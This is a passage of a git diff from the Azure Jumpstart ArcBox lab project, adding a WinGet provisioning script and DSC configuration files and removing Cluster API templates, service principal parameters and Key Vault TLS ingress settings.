dmljZaIjCgEBMAcGBSsOAwIaAxUAcYtE6JbdHhKlwkJeKoCV1JIkDmGggYMwgYCk +# fjB8MQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMH +# UmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSYwJAYDVQQD +# Ex1NaWNyb3NvZnQgVGltZS1TdGFtcCBQQ0EgMjAxMDANBgkqhkiG9w0BAQUFAAIF +# AOiyYcgwIhgPMjAyMzA5MTgxMzQyMzJaGA8yMDIzMDkxOTEzNDIzMlowdzA9Bgor +# BgEEAYRZCgQBMS8wLTAKAgUA6LJhyAIBADAKAgEAAgIChgIB/zAHAgEAAgIROzAK +# AgUA6LOzSAIBADA2BgorBgEEAYRZCgQCMSgwJjAMBgorBgEEAYRZCgMCoAowCAIB +# AAIDB6EgoQowCAIBAAIDAYagMA0GCSqGSIb3DQEBBQUAA4GBACimMe8cWKdDT195 +# yYjM1xA0PaVJZTKOTcZxKpsJIEJtnSpCniqblmhL7GC4Wp9IvBGitFvYpqjFD6eh +# FI7N5k5G7ys6TEoyjhF7MN2nH/6XoZBg0DvaOGgyxToNDUCHxc3h4YRShpibbtPw +# VnlW4zxMmF63EOwKayeREuMrV0C+MYIEDTCCBAkCAQEwgZMwfDELMAkGA1UEBhMC +# VVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNV +# BAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEmMCQGA1UEAxMdTWljcm9zb2Z0IFRp +# bWUtU3RhbXAgUENBIDIwMTACEzMAAAGz/iXOKRsbihwAAQAAAbMwDQYJYIZIAWUD +# BAIBBQCgggFKMBoGCSqGSIb3DQEJAzENBgsqhkiG9w0BCRABBDAvBgkqhkiG9w0B +# CQQxIgQg8bba9jmx1gXjrocO2kpKFenYfHRbM6DVHirayqpDD1wwgfoGCyqGSIb3 +# DQEJEAIvMYHqMIHnMIHkMIG9BCCGoTPVKhDSB7ZG0zJQZUM2jk/ll1zJGh6KOhn7 +# 6k+/QjCBmDCBgKR+MHwxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9u +# MRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRp +# b24xJjAkBgNVBAMTHU1pY3Jvc29mdCBUaW1lLVN0YW1wIFBDQSAyMDEwAhMzAAAB +# s/4lzikbG4ocAAEAAAGzMCIEILRyvQNx1MvWYIYXY8BuJmvmTpQf801ozzl6JhrX +# vU4vMA0GCSqGSIb3DQEBCwUABIICALD8yrBcUdrtKJAx5BOhHqnXo/uXujn0dq6I +# Bn4lrCDTcJadRxmUnEyJHDpa26LbWYWuvHrPA2lAlwY7GzBMeWtYYEXCm1L0sUCX +# hhMV4tGLtJ3k/b/Bjd02eOHuTtqBTBPdpBeoDyKvGGGFzHC4Uck9v1M0ZgRH1aNo +# pXhMbO6OP+PnVQWfdJuNQk1s5nHxKD2k0VoaY/9/LVWv8ywZ/0qzA16JUdA6RxnS +# CMZERDw6oFLLw5GW/7SFQux4SN22AwqlnMerxHTz4xXMrG2irrTGAEYJfB5d0i8P +# 0/4D6z23cuVGkZDSGe4Z1TnV8B+3uPKwOlpMyNdDtpK5cisGoPuN7dwQJ8G1vz8M +# XX5i/M4b5APzN0GSHUy1kNO36D9c7NPqtdPS7CBYLR1jIsjK+MKFjevAXFBnVX9L +# Y+8zy6y4iA48W2ED+LmDdPO0U0X5uFsyWqw7Xk4j2pf91d/FhwbKc6yINpsgqt80 +# upmYuaYrENKIErmk5gAJevj7m1c5BgWBWjS9TcNe3sM+DiAKu1UEStnuapWHOljv +# w22o0a1Tpw3TJnq+xRzc4SkMSu7p/E9yKvy0/a8XRVVoA8ZWbGNMC6IDpnBW88bo +# 9Pdnjl9cu5p4M/yLtpf/YF6159C4HFoFC3uPm2tzO/CNleFnSRUNmGUB9P2cfuFe +# tsgd9AN1 +# SIG # End signature block diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 new file mode 100644 index 0000000000..f0154e8eda --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -0,0 +1,41 @@ +$ErrorActionPreference = $env:ErrorActionPreference + +$Env:ArcBoxDir = 'C:\ArcBox' +$Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" + +$logFilePath = Join-Path -Path $Env:ArcBoxLogsDir -ChildPath ('WinGet-provisioning-' + (Get-Date -Format 'yyyyMMddHHmmss') + '.log') + +Start-Transcript -Path $logFilePath -Force -ErrorAction SilentlyContinue + +# Install WinGet DSC resource - also installs Microsoft.WinGet.Client as implicit dependency +Install-PSResource -Name Microsoft.WinGet.DSC -Scope AllUsers -Quiet -AcceptLicense -TrustRepository -Prerelease + +# Install DSC resources required for ArcBox +Install-PSResource -Name DSCR_Font -Scope AllUsers -Quiet -AcceptLicense -TrustRepository +Install-PSResource -Name HyperVDsc -Scope AllUsers -Quiet -AcceptLicense -TrustRepository -Prerelease +Install-PSResource -Name NetworkingDsc -Scope AllUsers -Quiet -AcceptLicense -TrustRepository + +# Install WinGet CLI +$null = Repair-WinGetPackageManager -AllUsers + +Write-Header 'Installing WinGet packages and DSC configurations' +$winget = Join-Path -Path $env:LOCALAPPDATA -ChildPath Microsoft\WindowsApps\winget.exe + +# Windows Terminal needs to be installed per user, while WinGet Configuration runs as SYSTEM. Hence, this package is installed in the logon script. +& $winget install Microsoft.WindowsTerminal --version 1.18.3181.0 -s winget + +# Apply WinGet Configuration files +& $winget configure --file C:\ArcBox\DSC\common.dsc.yml --accept-configuration-agreements --disable-interactivity + +switch ($env:flavor) { + 'DevOps' { & $winget configure --file C:\ArcBox\DSC\devops.dsc.yml --accept-configuration-agreements --disable-interactivity } + 'DataOps' { & $winget configure --file C:\ArcBox\DSC\dataops.dsc.yml --accept-configuration-agreements --disable-interactivity } + 'ITPro' { & $winget configure --file C:\ArcBox\DSC\itpro.dsc.yml --accept-configuration-agreements --disable-interactivity } +} + +# Start remaining logon scripts +Get-ScheduledTask *LogonScript* | Start-ScheduledTask + +#Cleanup +Unregister-ScheduledTask -TaskName 'WinGetLogonScript' -Confirm:$false +Stop-Transcript \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/capiStorageClass.yaml b/azure_jumpstart_arcbox/artifacts/capiStorageClass.yaml deleted file mode 100644 index a46c5bc1ff..0000000000 --- a/azure_jumpstart_arcbox/artifacts/capiStorageClass.yaml +++ /dev/null @@ -1,10 +0,0 @@ -kind: StorageClass -apiVersion: storage.k8s.io/v1 -metadata: - name: managed-premium -provisioner: disk.csi.azure.com -parameters: - skuname: Premium_LRS -allowVolumeExpansion: true -reclaimPolicy: Delete -volumeBindingMode: WaitForFirstConsumer \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/capz_kustomize/kustomization.yaml b/azure_jumpstart_arcbox/artifacts/capz_kustomize/kustomization.yaml deleted file mode 100644 index 1089fc2265..0000000000 --- a/azure_jumpstart_arcbox/artifacts/capz_kustomize/kustomization.yaml +++ /dev/null @@ -1,8 +0,0 @@ -apiVersion: kustomize.config.k8s.io/v1beta1 -kind: Kustomization -resources: -- https://github.com/kubernetes-sigs/cluster-api-provider-azure/releases/download/CAPI_PROVIDER_VERSION/cluster-template.yaml -patches: -- path: patches/Cluster.yaml -- path: patches/KubeadmControlPlane.yaml -- path: patches/AzureCluster.yaml diff --git a/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/AzureCluster.yaml b/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/AzureCluster.yaml deleted file mode 100644 index 9145e77613..0000000000 --- a/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/AzureCluster.yaml +++ /dev/null @@ -1,39 +0,0 @@ -apiVersion: infrastructure.cluster.x-k8s.io/v1beta1 -kind: AzureCluster -metadata: - name: ${CLUSTER_NAME} - namespace: default -spec: - identityRef: - apiVersion: infrastructure.cluster.x-k8s.io/v1beta1 - kind: AzureClusterIdentity - name: ${CLUSTER_IDENTITY_NAME} - location: ${AZURE_LOCATION} - networkSpec: - vnet: - name: ${AZURE_VNET_NAME:=${CLUSTER_NAME}-vnet} - cidrBlocks: - - 10.17.0.0/16 - subnets: - - name: control-plane-subnet - role: control-plane - cidrBlocks: - - 10.17.1.0/24 - securityGroup: - name: ${CLUSTER_NAME}-cp-nsg - securityRules: - - name: "allow_apiserver" - description: "Allow K8s API Server" - direction: "Inbound" - priority: 2201 - protocol: "*" - destination: "*" - destinationPorts: "6443" - source: "*" - sourcePorts: "*" - - name: node-subnet - role: node - cidrBlocks: - - 10.17.2.0/24 - resourceGroup: ${AZURE_RESOURCE_GROUP:=${CLUSTER_NAME}} - subscriptionID: ${AZURE_SUBSCRIPTION_ID} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/Cluster.yaml b/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/Cluster.yaml deleted file mode 100644 index 12a0c24dfa..0000000000 --- a/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/Cluster.yaml +++ /dev/null @@ -1,20 +0,0 @@ -apiVersion: cluster.x-k8s.io/v1beta1 -kind: Cluster -metadata: - labels: - cni: calico - name: ${CLUSTER_NAME} - namespace: default -spec: - clusterNetwork: - pods: - cidrBlocks: - - 192.168.0.0/16 - controlPlaneRef: - apiVersion: controlplane.cluster.x-k8s.io/v1beta1 - kind: KubeadmControlPlane - name: ${CLUSTER_NAME}-control-plane - infrastructureRef: - apiVersion: infrastructure.cluster.x-k8s.io/v1beta1 - kind: AzureCluster - name: ${CLUSTER_NAME} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/KubeadmControlPlane.yaml b/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/KubeadmControlPlane.yaml deleted file mode 100644 index 2f18f20c31..0000000000 --- a/azure_jumpstart_arcbox/artifacts/capz_kustomize/patches/KubeadmControlPlane.yaml +++ /dev/null @@ -1,56 +0,0 @@ -apiVersion: controlplane.cluster.x-k8s.io/v1beta1 -kind: KubeadmControlPlane -metadata: - name: ${CLUSTER_NAME}-control-plane - namespace: default -spec: - kubeadmConfigSpec: - clusterConfiguration: - apiServer: - extraArgs: - audit-log-maxage: "30" - audit-log-maxbackup: "10" - audit-log-maxsize: "100" - audit-log-path: /var/log/kube-apiserver/audit.log - audit-policy-file: /etc/kubernetes/audit.yaml - cloud-config: /etc/kubernetes/azure.json - cloud-provider: azure - extraVolumes: - - hostPath: /var/log/kube-apiserver - mountPath: /var/log/kube-apiserver - name: kubeaudit - - hostPath: /etc/kubernetes/audit.yaml - mountPath: /etc/kubernetes/audit.yaml - name: audit-policy - readOnly: true - - hostPath: /etc/kubernetes/azure.json - mountPath: /etc/kubernetes/azure.json - name: cloud-config - readOnly: true - timeoutForControlPlane: 20m - controllerManager: - extraArgs: - allocate-node-cidrs: "false" - cloud-config: /etc/kubernetes/azure.json - cloud-provider: azure - cluster-name: ${CLUSTER_NAME} - extraVolumes: - - hostPath: /etc/kubernetes/azure.json - mountPath: /etc/kubernetes/azure.json - name: cloud-config - readOnly: true - files: - - contentFrom: - secret: - key: control-plane-azure.json - name: ${CLUSTER_NAME}-control-plane-azure-json - owner: root:root - path: /etc/kubernetes/azure.json - permissions: "0644" - - contentFrom: - secret: - key: audit.yaml - name: audit - owner: root:root - path: /etc/kubernetes/audit.yaml - permissions: "0644" \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dataController.json b/azure_jumpstart_arcbox/artifacts/dataController.json index 6c3a6d1bac..ae0a8856a4 100644 --- a/azure_jumpstart_arcbox/artifacts/dataController.json +++ b/azure_jumpstart_arcbox/artifacts/dataController.json @@ -33,18 +33,6 @@ "subscriptionId": { "type": "string" }, - "spnClientId": { - "type": "string" - }, - "spnTenantId": { - "type": "string" - }, - "spnClientSecret": { - "type": "securestring" - }, - "spnAuthority": { - "type": "string" - }, "logAnalyticsWorkspaceId": { "type": "string" }, @@ -52,7 +40,8 @@ "type": "securestring" }, "resourceTags": { - "type": "object" + "type": "object", + "defaultValue": {} }, "dockerRegistryCredential": { "type": "string" @@ -104,12 +93,6 @@ "username": "[parameters('azdataUsername')]", "password": "[parameters('azdataPassword')]" }, - "uploadServicePrincipal": { - "clientId": "[parameters('spnClientId')]", - "tenantId": "[parameters('spnTenantId')]", - "authority": "[parameters('spnAuthority')]", - "clientSecret": "[parameters('spnClientSecret')]" - }, "logAnalyticsWorkspaceConfig": { "workspaceId": "[parameters('logAnalyticsWorkspaceId')]", "primaryKey": "[parameters('logAnalyticsPrimaryKey')]" diff --git a/azure_jumpstart_arcbox/artifacts/dataController.parameters.json b/azure_jumpstart_arcbox/artifacts/dataController.parameters.json index a46133164e..28c74384a1 100644 --- a/azure_jumpstart_arcbox/artifacts/dataController.parameters.json +++ b/azure_jumpstart_arcbox/artifacts/dataController.parameters.json @@ -26,40 +26,23 @@ "subscriptionId": { "value": "subscriptionId-stage" }, - "spnClientId": { - "value": "spnClientId-stage" - }, - "spnTenantId": { - "value": "spnTenantId-stage" - }, - "spnClientSecret": { - "value": "spnClientSecret-stage" - }, - "spnAuthority": { - "value": "https://login.microsoftonline.com" - }, "logAnalyticsWorkspaceId": { "value": "logAnalyticsWorkspaceId-stage" }, "logAnalyticsPrimaryKey": { "value": "logAnalyticsPrimaryKey-stage" }, - "resourceTags": { - "value": { - "Project": "jumpstart_arcbox" - } - }, "dockerRegistryCredential": { "value": "arc-private-registry" }, "dataStorageClass": { - "value": "managed-premium" + "value": "storageClass-stage" }, "dataStorageSize": { "value": "15Gi" }, "logsStorageClass": { - "value": "managed-premium" + "value": "storageClass-stage" }, "logsStorageSize": { "value": "10Gi" diff --git a/azure_jumpstart_arcbox/artifacts/defendersqldcrtemplate.json b/azure_jumpstart_arcbox/artifacts/defendersqldcrtemplate.json new file mode 100644 index 0000000000..3adffbd0f5 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/defendersqldcrtemplate.json @@ -0,0 +1,42 @@ +{ + "properties": { + "description": "Data collection rule for Azure Defender for SQL. Deleting this rule will break the detection of Azure Defender for SQL.", + "dataSources": { + "extensions": [ + { + "streams": [ + "Microsoft-DefenderForSqlAlerts", + "Microsoft-DefenderForSqlLogins", + "Microsoft-DefenderForSqlTelemetry", + "Microsoft-SqlAtpStatus-DefenderForSql" + ], + "extensionName": "AdvancedThreatProtection", + "extensionSettings": { + "enableCollectionOfSqlQueriesForSecurityReserch": "true" + }, + "name": "AdvancedThreatProtection" + } + ] + }, + "destinations": { + "logAnalytics": [ + { + "workspaceResourceId": "{LOGANLYTICS_WORKSPACEID}", + "name": "LogAnalyticsDest" + } + ] + }, + "dataFlows": [ + { + "streams": [ + "Microsoft-DefenderForSqlAlerts", + "Microsoft-DefenderForSqlLogins", + "Microsoft-DefenderForSqlTelemetry" + ], + "destinations": [ + "LogAnalyticsDest" + ] + } + ] + } +} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml index 1b847169b4..48deae7aa4 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml @@ -1,64 +1,11 @@ -apiVersion: secrets-store.csi.x-k8s.io/v1 -kind: SecretProviderClass -metadata: - name: azure-kv-sync-tls -spec: - provider: azure - secretObjects: # secretObjects defines the desired state of synced K8s secret objects - - secretName: ingress-tls-csi - type: kubernetes.io/tls - data: - - objectName: {JS_CERTNAME} - key: tls.key - - objectName: {JS_CERTNAME} - key: tls.crt - parameters: - usePodIdentity: "false" - keyvaultName: {JS_KEYVAULTNAME} - objects: | - array: - - | - objectName: {JS_CERTNAME} - objectType: secret - tenantId: {JS_TENANTID} ---- -apiVersion: v1 -kind: Pod -metadata: - name: busybox-secrets-sync -spec: - containers: - - name: busybox - image: k8s.gcr.io/e2e-test-images/busybox:1.29 - command: - - "/bin/sleep" - - "10000" - volumeMounts: - - name: secrets-store-inline - mountPath: "/mnt/secrets-store" - readOnly: true - volumes: - - name: secrets-store-inline - csi: - driver: secrets-store.csi.k8s.io - readOnly: true - volumeAttributes: - secretProviderClass: "azure-kv-sync-tls" - nodePublishSecretRef: - name: secrets-store-creds ---- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: - name: ingress-tls + name: ingress annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /$1 spec: - tls: - - hosts: - - {JS_HOST} - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: {JS_HOST} http: @@ -70,18 +17,3 @@ spec: port: number: 14001 path: /bookbuyer ---- -kind: IngressBackend -apiVersion: policy.openservicemesh.io/v1alpha1 -metadata: - name: backend -spec: - backends: - - name: bookbuyer - port: - number: 14001 - protocol: http - sources: - - kind: Service - namespace: ingress-nginx - name: ingress-nginx-controller diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml index 26c8238a15..3062d655e3 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml @@ -1,64 +1,11 @@ -apiVersion: secrets-store.csi.x-k8s.io/v1 -kind: SecretProviderClass -metadata: - name: azure-kv-sync-tls -spec: - provider: azure - secretObjects: # secretObjects defines the desired state of synced K8s secret objects - - secretName: ingress-tls-csi - type: kubernetes.io/tls - data: - - objectName: {JS_CERTNAME} - key: tls.key - - objectName: {JS_CERTNAME} - key: tls.crt - parameters: - usePodIdentity: "false" - keyvaultName: {JS_KEYVAULTNAME} - objects: | - array: - - | - objectName: {JS_CERTNAME} - objectType: secret - tenantId: {JS_TENANTID} ---- -apiVersion: v1 -kind: Pod -metadata: - name: busybox-secrets-sync -spec: - containers: - - name: busybox - image: k8s.gcr.io/e2e-test-images/busybox:1.29 - command: - - "/bin/sleep" - - "10000" - volumeMounts: - - name: secrets-store-inline - mountPath: "/mnt/secrets-store" - readOnly: true - volumes: - - name: secrets-store-inline - csi: - driver: secrets-store.csi.k8s.io - readOnly: true - volumeAttributes: - secretProviderClass: "azure-kv-sync-tls" - nodePublishSecretRef: - name: secrets-store-creds ---- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: - name: ingress-tls + name: ingress annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /$1 spec: - tls: - - hosts: - - {JS_HOST} - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: {JS_HOST} http: @@ -77,22 +24,3 @@ spec: port: number: 14001 path: /bookstore-v2 ---- -kind: IngressBackend # Ingress Backend for Bookstore App -apiVersion: policy.openservicemesh.io/v1alpha1 -metadata: - name: backend -spec: - backends: - - name: bookstore - port: - number: 14001 - protocol: http - - name: bookstore-v2 - port: - number: 14001 - protocol: http - sources: - - kind: Service - namespace: ingress-nginx - name: ingress-nginx-controller diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml index b372aaaf4b..1dc452b013 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml @@ -1,64 +1,11 @@ -apiVersion: secrets-store.csi.x-k8s.io/v1 -kind: SecretProviderClass -metadata: - name: azure-kv-sync-tls -spec: - provider: azure - secretObjects: # secretObjects defines the desired state of synced K8s secret objects - - secretName: ingress-tls-csi - type: kubernetes.io/tls - data: - - objectName: {JS_CERTNAME} - key: tls.key - - objectName: {JS_CERTNAME} - key: tls.crt - parameters: - usePodIdentity: "false" - keyvaultName: {JS_KEYVAULTNAME} - objects: | - array: - - | - objectName: {JS_CERTNAME} - objectType: secret - tenantId: {JS_TENANTID} ---- -apiVersion: v1 -kind: Pod -metadata: - name: busybox-secrets-sync -spec: - containers: - - name: busybox - image: k8s.gcr.io/e2e-test-images/busybox:1.29 - command: - - "/bin/sleep" - - "10000" - volumeMounts: - - name: secrets-store-inline - mountPath: "/mnt/secrets-store" - readOnly: true - volumes: - - name: secrets-store-inline - csi: - driver: secrets-store.csi.k8s.io - readOnly: true - volumeAttributes: - secretProviderClass: "azure-kv-sync-tls" - nodePublishSecretRef: - name: secrets-store-creds ---- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: - name: ingress-tls + name: ingress annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: / spec: - tls: - - hosts: - - {JS_HOST} - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: {JS_HOST} http: diff --git a/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml new file mode 100644 index 0000000000..cbae2a56bb --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml @@ -0,0 +1,89 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + + resources: + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: git + directives: + description: Install Git + settings: + id: Git.Git + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: vscode + directives: + description: Install Visual Studio Code + settings: + id: Microsoft.VisualStudioCode + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: AzureCLI + directives: + description: Install Azure CLI + settings: + id: Microsoft.AzureCLI + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: PowerShell7 + directives: + description: Install PowerShell 7 + settings: + id: Microsoft.PowerShell + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: kubectl + directives: + description: Install kubectl + settings: + id: Kubernetes.kubectl + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: edge + directives: + description: Install Microsoft Edge + settings: + id: Microsoft.Edge + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: azcopy + directives: + description: Install azcopy + settings: + id: Microsoft.Azure.AZCopy.10 + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: DotNetSDK8 + directives: + description: Install Microsoft DotNet SDK 8 + settings: + id: Microsoft.DotNet.SDK.8 + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: helm + directives: + description: Install Helm + settings: + id: Helm.Helm + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: Microsoft.Sysinternals.BGInfo + directives: + description: Install Sysinternals BGInfo + settings: + id: Microsoft.Sysinternals.BGInfo + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: OpenSSL + directives: + description: Install OpenSSL + settings: + id: FireDaemon.OpenSSL + source: winget + - resource: DSCR_Font/cFont + id: CascadiaMono + directives: + description: Install font CascadiaMono + settings: + FontName: Cascadia Mono + FontFile: C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.3181.0_x64__8wekyb3d8bbwe\CascadiaMono.ttf + configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml new file mode 100644 index 0000000000..b7f8a8f193 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml @@ -0,0 +1,92 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + + resources: + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: kubectl + directives: + description: Install kubectl + settings: + id: Kubernetes.kubectl + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: kubectx + directives: + description: Install kubectx + settings: + id: ahmetb.kubectx + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: DotNetSDK8 + directives: + description: Install Microsoft DotNet SDK 8 + settings: + id: Microsoft.DotNet.SDK.8 + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: SQLServerManagementStudio + directives: + description: Install Microsoft SQL Server Management Studio + settings: + id: Microsoft.SQLServerManagementStudio + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: Microsoft.Azure.DataCLI + directives: + description: Install Microsoft Azure Data CLI + settings: + id: Microsoft.Azure.DataCLI + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: Microsoft.AzureDataStudio + directives: + description: Install Microsoft Azure Data Studio + settings: + id: Microsoft.AzureDataStudio + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: FireDaemon.OpenSSL + directives: + description: Install OpenSSL + settings: + id: FireDaemon.OpenSSL + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: Istio.Istio + directives: + description: Install Istio configuration command line utility + settings: + id: Istio.Istio + source: winget + - resource: PSDscResources/WindowsFeature + id: Hyper-V + directives: + description: Install Hyper-V + settings: + Name: Hyper-V + Ensure: Present + - resource: HyperVDsc/VMHost + id: VMHost + directives: + description: Configure VM Host settings + settings: + IsSingleInstance: Yes + EnableEnhancedSessionMode: True + - resource: HyperVDsc/VMSwitch + id: VMSwitch + directives: + description: Configure VM Switch + settings: + Name: InternalNATSwitch + Ensure: Present + Type: Internal + - resource: NetworkingDsc/IPAddress + id: IPAddress.VMSwitch + directives: + description: Configure VM Switch vNIC IP Address + settings: + InterfaceAlias: 'vEthernet (InternalNATSwitch)' + IPAddress: '10.10.1.1/24' + AddressFamily: IPv4 + KeepExistingAddress: false + configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml new file mode 100644 index 0000000000..9a79565f0d --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml @@ -0,0 +1,40 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + + resources: + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: kubectl + directives: + description: Install kubectl + settings: + id: Kubernetes.kubectl + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: kubectx + directives: + description: Install kubectx + settings: + id: ahmetb.kubectx + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: DotNetSDK8 + directives: + description: Install Microsoft DotNet SDK 8 + settings: + id: Microsoft.DotNet.SDK.8 + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: helm + directives: + description: Install Helm + settings: + id: Helm.Helm + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: Istio.Istio + directives: + description: Install Istio configuration command line utility + settings: + id: Istio.Istio + source: winget + configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml new file mode 100644 index 0000000000..616c6d817e --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml @@ -0,0 +1,43 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + + resources: + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: 7zip + directives: + description: Install 7zip + settings: + id: 7zip.7zip + source: winget + - resource: PSDscResources/WindowsFeature + id: Hyper-V + directives: + description: Install Hyper-V + settings: + Name: Hyper-V + Ensure: Present + - resource: HyperVDsc/VMHost + id: VMHost + directives: + description: Configure VM Host settings + settings: + IsSingleInstance: Yes + EnableEnhancedSessionMode: True + - resource: HyperVDsc/VMSwitch + id: VMSwitch + directives: + description: Configure VM Switch + settings: + Name: InternalNATSwitch + Ensure: Present + Type: Internal + - resource: NetworkingDsc/IPAddress + id: IPAddress.VMSwitch + directives: + description: Configure VM Switch vNIC IP Address + settings: + InterfaceAlias: 'vEthernet (InternalNATSwitch)' + IPAddress: '10.10.1.1/24' + AddressFamily: IPv4 + KeepExistingAddress: false + configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_itpro.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_itpro.dsc.yml new file mode 100644 index 0000000000..df8fe96f15 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_itpro.dsc.yml @@ -0,0 +1,69 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + + resources: + - resource: HyperVDsc/VMHyperV + id: namingPrefixStage-Win2K19 + directives: + description: Configure VM namingPrefixStage-Win2K19 + settings: + Name: namingPrefixStage-Win2K19 + SwitchName: 'InternalNATSwitch' + VhdPath: F:\Virtual Machines\ArcBox-Win2K19.vhdx + ProcessorCount: 2 + StartupMemory: '4GB' + RestartIfNeeded: true + State: Running + Generation: 2 + Path: F:\Virtual Machines + EnableGuestService: true + SecureBoot: true + - resource: HyperVDsc/VMHyperV + id: namingPrefixStage-Win2K22 + directives: + description: Configure VM namingPrefixStage-Win2K22 + settings: + Name: namingPrefixStage-Win2K22 + SwitchName: 'InternalNATSwitch' + VhdPath: F:\Virtual Machines\ArcBox-Win2K22.vhdx + ProcessorCount: 2 + StartupMemory: '4GB' + RestartIfNeeded: true + State: Running + Generation: 2 + Path: F:\Virtual Machines + EnableGuestService: true + SecureBoot: true + - resource: HyperVDsc/VMHyperV + id: namingPrefixStage-Ubuntu-01 + directives: + description: Configure VM 